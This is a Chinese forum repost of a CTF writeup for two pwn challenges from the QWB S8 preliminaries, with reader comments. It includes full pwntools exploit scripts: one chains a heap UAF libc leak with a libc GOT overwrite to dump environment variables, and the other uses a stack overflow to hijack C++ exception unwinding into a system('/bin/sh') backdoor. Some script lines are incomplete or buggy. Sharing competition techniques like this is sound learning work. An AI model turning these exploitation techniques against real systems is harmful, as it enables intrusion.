xia0ji233 发表于 2024-11-7 17:13

强网杯S8初赛pwn writeup

本次强网杯初赛做出两道pwn题,把详细题解写一下记录。

<!--more-->

## baby_heap

[附件下载](https://xia0ji233.pro/2024/11/07/qwb2024_pre/baby_heap_9a1b773b8406335f895bef78b2d8b8f3.zip)

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/1.png)

2.35 的版本,IDA打开,堆菜单题,经典增删改查之外,还有两个额外的操作,一个是环境变量,另一个是任意地址写 0x10 字节。

del 里面有很明显的UAF漏洞。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/2.png)


show 只有一次机会,但是可以同时将 libc 和堆地址一起泄露出来,只需要我们释放两个相同大小的堆块之后,bk_nextsize 和 fd_nextsize 上面就会携带堆的地址,然而我自己的做法中没有用到。

交互函数:

```python
from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def choice(ch):
    p.sendlineafter("choice:",str(ch))

def add(size):
    choice(1)
    p.sendlineafter('size',str(size))

def free(idx):
    choice(2)
    p.sendlineafter('delete:',str(idx))

def edit(idx, payload):
    choice(3)
    p.sendlineafter('edit:',str(idx))
    p.sendafter('content',content)

def show(idx):
    choice(4)
    p.sendlineafter('show:',str(idx))

def env(ch):
    choice(5)
    p.sendlineafter('sad !',str(ch))

def write(addr1,payload):
    choice(6)
    p.sendafter('addr',p64(addr1))
    p.send(payload)
```

先add出四个堆块,把 1 3 free 掉,再打印出 3 堆块的内容,即可连带泄露 libc 和堆地址。

```python
add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)
```

运行结果

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/3.png)

注意到选项 6 并不是任意地址写,而是有一定限制的,

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/4.png)

这里说实话不知道是不是 IDA 解析有问题。因为理论上来说 stdin 是 `FILE *` 类型,占 8 字节,因此 `&stdin` 等同于 stdin 的地址加上 `512*8=4096=0x1000`,但是将视角调到汇编时会发现

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/5.png)

它往后加了 0x1b000 的地址,通常情况下,以汇编为准一定没问题(以上是做题时的想法),但是后来才发现犯了一个错误,stdin 的确是 FILE * 类型的,但是 `stdin` 是 FILE 类型的,直接的 stdin 是一个指向 `_IO_2_1_stdin_` 的指针,类型为 FILE,在 gdb 里面也很容易观察到这一点。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/6.png)

这里主要观察这个 &stdin 与 stdin 的差值,以及可以发现,它所禁用的这个范围就是 libc `_IO_2_1_stdin_` 之后的data 段,全部不允许写。

而另外一个条件就有意思了,不能超过 80 开头的一个地址,基本不会触发,所以目标很明确,让我们去写 libc `_IO_2_1_stdin_` 之前的 data 段,或者是写堆段,程序段写不了因为没有办法泄露地址。

先考虑前者,来看看之前的 data 段存了哪些内容。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/7.png)

发现基本是 got 表,于是尝试输出看看 libc 的 got 表,发现都是跟字符串操作的相关函数

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/8.png)

看来可以尝试在这里找一个函数作为跳板,能不能 `one_gadget` 呢?显然不能,这题有沙箱。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/9.png)

除非你能找到一个 execveat 系统调用执行的 `one_gadget` 这题才能直接一键利用。

同时注意到选项 5 对环境变量的相关操作

- getenv
- putenv
- setenv

这里可以直接上 glibc 的源码。

```C
char *
getenv (const char *name)
{
char **ep;
uint16_t name_start;

if (__environ == NULL || name == '\0')
    return NULL;

if (name == '\0')
    {
      /* The name of the variable consists of only one character.Therefore
       the first two characters of the environment entry are this character
       and a '=' character.*/
#if __BYTE_ORDER == __LITTLE_ENDIAN || !_STRING_ARCH_unaligned
      name_start = ('=' << 8) | *(const unsigned char *) name;
#else
      name_start = '=' | ((*(const unsigned char *) name) << 8);
#endif
      for (ep = __environ; *ep != NULL; ++ep)
        {
#if _STRING_ARCH_unaligned
          uint16_t ep_start = *(uint16_t *) *ep;
#else
          uint16_t ep_start = (((unsigned char *) *ep)
                             | (((unsigned char *) *ep) << 8));
#endif
          if (name_start == ep_start)
          return &(*ep);
        }
    }
else
    {
      size_t len = strlen (name);
#if _STRING_ARCH_unaligned
      name_start = *(const uint16_t *) name;
#else
      name_start = (((const unsigned char *) name)
                  | (((const unsigned char *) name) << 8));
#endif
      len -= 2;
      name += 2;

      for (ep = __environ; *ep != NULL; ++ep)
        {
#if _STRING_ARCH_unaligned
          uint16_t ep_start = *(uint16_t *) *ep;
#else
          uint16_t ep_start = (((unsigned char *) *ep)
                             | (((unsigned char *) *ep) << 8));
#endif

          if (name_start == ep_start && !strncmp (*ep + 2, name, len)
              && (*ep) == '=')
          return &(*ep);
        }
    }

return NULL;
}
```

观察到最后一个循环中,它在遍历环境变量,并且使用 strncmp 这个函数,而这个函数恰好是在 got 表中的,如果尝试将其改为 puts,结果会如何呢?

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/10.png)

可以发现只输出了 USER 环境变量,而且前两位被去掉了,我们从头来分析这个源码看。因为我们入口是 `getenv("USER")`,所以长度为 1 的判断就直接过掉,直接看 else 分支,似乎只有开头两个字符匹配到了,才会紧接着调用 strncmp,因此出现了只输出 USER 环境变量的问题。

但是当我选择选项 2 或 3 的时候,它输出了所有的环境变量

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/11.png)

也就是说不管是调用 putenv 还是 setenv,在劫持了 strncmp 函数之后都可以完美输出所有环境变量。

它们两个函数内部都调用了一个函数 `__add_to_environ`。

[函数源码跳楼](https://elixir.bootlin.com/glibc/glibc-2.35/source/stdlib/setenv.c#L116)

```C
int
__add_to_environ (const char *name, const char *value, const char *combined,
                  int replace)
{
char **ep;
size_t size;

/* Compute lengths before locking, so that the critical section is
   less of a performance bottleneck.VALLEN is needed only if
   COMBINED is null (unfortunately GCC is not smart enough to deduce
   this; see the #pragma at the start of this file).Testing
   COMBINED instead of VALUE causes setenv (..., NULL, ...)to dump
   core now instead of corrupting memory later.*/
const size_t namelen = strlen (name);
size_t vallen;
if (combined == NULL)
    vallen = strlen (value) + 1;

LOCK;

/* We have to get the pointer now that we have the lock and not earlier
   since another thread might have created a new environment.*/
ep = __environ;

size = 0;
if (ep != NULL)
    {
      for (; *ep != NULL; ++ep)
        if (!strncmp (*ep, name, namelen) && (*ep) == '=')
          break;
        else
          ++size;
    }
/*
中间省略很多代码,感兴趣可以直接去看完整源码
*/

return 0;
}
```

通过分析这个函数的源码,可以发现这里会无条件地去遍历环境变量一次一次调用 strncmp 去判断,并且很幸运,第一个参数就是函数变量的指针,因此修改 strncmp 的 got 为 puts 函数,就可以输出所有的环境变量。

在远程环境中, flag 就在环境变量中。

总EXP:

```python
from pwn import *
context.log_level = "debug"
p=process("./pwn")
# p=remote('47.94.231.2',)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

def choice(ch):
    p.sendlineafter("choice:",str(ch))

def add(size):
    choice(1)
    p.sendlineafter('size',str(size))

def free(idx):
    choice(2)
    p.sendlineafter('delete:',str(idx))

def edit(idx, payload):
    choice(3)
    p.sendlineafter('edit:',str(idx))
    p.sendafter('content',content)

def show(idx):
    choice(4)
    p.sendlineafter('show:',str(idx))

def env(ch):
    choice(5)
    p.sendlineafter('sad !',str(ch))


def write(addr1,payload):
    choice(6)
    p.sendafter('addr',p64(addr1))
    p.send(payload)

add(0x500)
add(0x500)
add(0x500)
add(0x500)
free(1)
free(3)
show(3)

libc_addr=u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-0x21ace0
success('libc_addr: '+hex(libc_addr))
write(libc_addr+0x21a118,p64(libc_addr+libc.sym['puts']))
env(2)
gdb.attach(p)
p.interactive()
```

---

第二种方法当然是可以用 Largebin Attack 去打,但是过于复杂,可能自己还没学会,主要在于分享自己的 EXP 和做题思路了,就不增加额外的工作量。

## expect_number

[附件下载](https://xia0ji233.pro/2024/11/07/qwb2024_pre/expect_number_cf786f84f8b86260b7eac1628ad682a8.zip)

这题没给 libc,应该题目自己有提权或者是给 flag 的东西,运行它输出的话,需要让我们最终计算得到 `0x4F5DA2` 这个值。

也是一个很经典的菜单

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/12.png)

选项 1 发现它会根据随机 `1~4` 之间的整数来判断当前对数字做四则运算,1、2、3、4 分别对应了加、减、乘、除,并且另一个运算的数字只能是 0 1 2。既然是随机,那么交叉一下 srand 函数看看它是用了什么种子。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/13.png)

虽然调用了 time 函数,但是使用了 1 作为种子,因此序列是固定的,可以自己也编写一个 C 语言程序去输出这个序列。

```C
#include<unistd.h>
#include<stdio.h>
#include<stdlib.h>
int main(){
    srand(1);
    for(int i=0;i<288;i++){
      printf("%d ",rand()%4+1);
    }
}
```

为了避免被怀疑水长度,这里 288 个数字不展示了,仅在最后 EXP 展示。

很显然的,加减如果是 0,那么这次加减是无效的,乘除如果是 1,这次乘除也是无效的,来先看看指定数值的判断逻辑。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/14.png)

它只判断最后的那一个字节是否为 a8,自己构造序列也挺简单,遇到除法就给 1,遇到减法就给 0,结果发现再一次加法中突然报错了。

顺着报错找到代码

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/15.png)

看了一下可能我的数值不超过 0x100,但是发现 >0x80 的数被识别为了负数,前面将char类型做了符号扩展之后又转为无符号整数,自然就超出范围了。

这里举个例子构造 0x82,再次尝试加法的时候结果为 0x80于是进入里面的逻辑

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/16.png)

可以发现它先做了零扩展(movzx),再做了符号扩展(movsx),因此下一步 RAX 的值变为了 `0xffffff80`,对于res来说,它是 -80 了,再+2变为 -78,转为无符号整数之后自然就超过了 0x100

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/17.png)

因此如果想算出超过 0x80 的字节,必须算到对应的 /2 的形式,而且最后一个运算符必须是 `*2`,结果只能是偶数,不能结果不能超过一个字节。

这些结论做稍加的数学推导应该很容易发现,但是当你好不容易凑好 0x54,再乘 2 得到 0xa8 的时候,会发现,远程 gift 是没有这个文件的。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/18.png)

咨询出题人(合理的咨询是不违反比赛规则的)后发现这是正常情况

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/19.png)

那么题目就不是让我们执行这个 `system("cat gift")` 了,闲来无事去找字符串的时候发现 `/bin/sh`,发现在输入选项的时候有一个后门。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/20.png)

发现 cin 被 try 包裹了,如果出现运行时错误,那么就执行 `system("/bin/sh")`,而试过了各种输入都无法触发,一再陷入僵局,后面发现了退出函数有一个函数指针的调用。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/21.png)

正常情况下就是输出 `Good Bye`,于是想到能否将结果覆盖到上面,计算的数值的结构体是

```C
struct calc{
        char *unknown;
        int rounds;
        char num;
        char s;
}
```

而我们的数值是随着 round 增加保存在后面的,查看是否有机会覆盖函数指针,结构体地址在 `5400`,而函数指针在 `5520`,显然我们足以覆盖这个函数指针。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/22.png)

具体字段图中标出,我们有机会覆盖任意字节到函数指针的低位。

于是找各种可能的情况,在 4c00 的地址 0x100 字节范围内看看有什么能修改的。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/23.png)

这里大概率都是虚函数表,发现 0x60 偏移处有一个栈溢出,栈溢出刚好足以让我们覆盖返回地址。

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/24.png)

同时发现它主动检测溢出了会抛出运行时异常,运行时异常 emm,是不是可以和前面结合一下呢,答案是可以的,我们来了解一下C++如何处理异常的。我们都知道,在严格的异常处理流程,一个函数如果有可能抛出异常,要么你声明它本身也是可以抛出异常,要么将可能抛出异常的函数用 try 包裹。

C++ 如何实现多级的 try 判断呢,答案是栈回溯,它会寻找调用栈,判断之前的函数有没有被 try 包裹,有的话尝试捕获去处理。正常情况下这种设计当然没问题,如果返回值地址被我们修改的话,它就会根据返回值地址的值去寻找调用栈,那么此时我就可以尝试将这个抛出的异常在 cin 输入那里去捕获,然后完成 `system("/bin/sh")` 的调用。

并且 show 功能可以输出程序基地址,也不用去爆破了。

最后一点需要注意的是,看到后门这里,它有一条写栈内存的指令,因此在溢出的时候,RBP 要设为一个可写的地址。

最终 EXP

```python
from pwn import *
p=process('./expect_number',aslr=False)
# p=remote('39.106.48.123',32818)
context.log_level='debug'

seq="4 3 2 4 2 4 3 1 2 2 3 4 3 4 4 3 1 3 1 1 4 1 4 2 3 3 3 4 4 4 2 3 3 3 2 4 2 1 4 3 2 2 2 4 1 2 3 1 4 3 2 3 4 1 1 2 3 3 1 2 2 2 1 4 1 2 3 2 2 2 1 4 3 2 3 4 3 1 4 3 4 1 1 3 1 1 4 4 3 4 1 1 1 1 4 1 3 3 3 4 4 3 3 3 4 2 2 3 2 1 1 1 2 1 3 2 2 2 1 4 1 2 4 2 2 4 2 4 2 4 4 1 2 2 3 2 3 4 4 1 1 4 1 2 4 4 3 1 1 4 1 2 1 4 3 2 3 4 2 4 4 1 1 1 2 3 2 1 3 1 1 3 4 1 4 4 4 2 4 1 1 4 2 1 4 4 3 2 3 4 2 2 4 2 3 1 4 4 1 2 1 1 4 4 2 3 3 1 1 3 1 1 2 2 2 1 1 4 3 4 3 4 1 2 1 3 2 4 3 3 2 3 3 1 2 4 4 1 1 4 3 1 4 4 3 1 1 3 4 3 2 2 2 3 3 2 1 1 1 3 3 2 1 1 3 3 1 2 3 1 1 1 1 4 4 3 1 4 2 4 2 3 2 3 1 4 4 2".split(' ')
seqnum=
target=0x60

now=0
ch=0
k=''
for i in seqnum:
    p.sendlineafter('choice ','1')
    if i==1:
      k += '2'
      now += 2
      # if now == target-2:
      #   gdb.attach(p)
      p.sendlineafter('or 0', str(2))
    elif i==2:
      k += '0'
      p.sendlineafter('or 0', str(0))
    else:
      k += '1'
      p.sendlineafter('or 0', str(1))
    ch+=1
    if now==target:break
gdb.attach(p)
for i in seqnum:
    p.sendlineafter('choice ', '1')
    if i==1 or i==2:
      p.sendlineafter('or 0', str(0))
      k += '0'
    else:
      p.sendlineafter('or 0', str(1))
      k += '1'
    # input()

p.sendlineafter('choice ', '2')
p.recvuntil(k)
addr=u64(p.recv(6)+b'\0\0')-0x4c60
success('code: '+hex(addr))

payload=b'\x00'*0x20+p64(addr+0x5080)+p64(addr+0x251A)
p.sendlineafter('choice ', '4')

p.sendafter('Tell me your favorite number.', payload)

p.interactive()
```

本地运行结果

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/25.png)

远程运行结果(纪念一下hh)

![](https://xia0ji233.pro/2024/11/07/qwb2024_pre/26.png)

## 总结

能打出两题还是挺开心的,感谢强网杯提供的高质量赛题(就是rs和go没学过后面就坐牢了),不管是从考点还是利用难度来说,题目出的都是非常棒的。

xia0ji233 发表于 2024-11-10 18:51

Tflystar 发表于 2024-11-8 23:04
师傅,感觉这里好像不太对。因为这题禁用了openat,evecveat启动的进程仍然继承沙箱规则,而程序一般都需要 ...

这个也没具体做过实验,实际上是根本没有这样的gadget,也就没有去做论证了。事实上的确,execve在启动文件的时候是会继承一定的上下文环境,比方说文件描述符之类的,当然沙箱环境也会。

1amfree 发表于 2024-11-8 10:56

谢谢分享,学习了!

cnwutianhao 发表于 2024-11-7 18:19

感谢分享

Redbell 发表于 2024-11-7 18:48

非常厉害了!团队一共做了多少题啊

pjyang 发表于 2024-11-7 20:35

感谢分享

jedi 发表于 2024-11-8 09:19

谢谢分享,学习了!

yan999 发表于 2024-11-8 11:40

厉害了,学习一下

Tflystar 发表于 2024-11-8 23:04

除非你能找到一个 execveat 系统调用执行的 one_gadget 这题才能直接一键利用。师傅,感觉这里好像不太对。因为这题禁用了openat,evecveat启动的进程仍然继承沙箱规则,而程序一般都需要openat才能正常运行。所以即使有这样的one_gadget也不能一键利用吧。

zhangyuekai55 发表于 2024-11-9 12:27

表示没看懂~!

binghe01 发表于 2024-11-10 18:20

学到了,感谢师傅的分享
页: [1] 2 3
查看完整版本: 强网杯S8初赛pwn writeup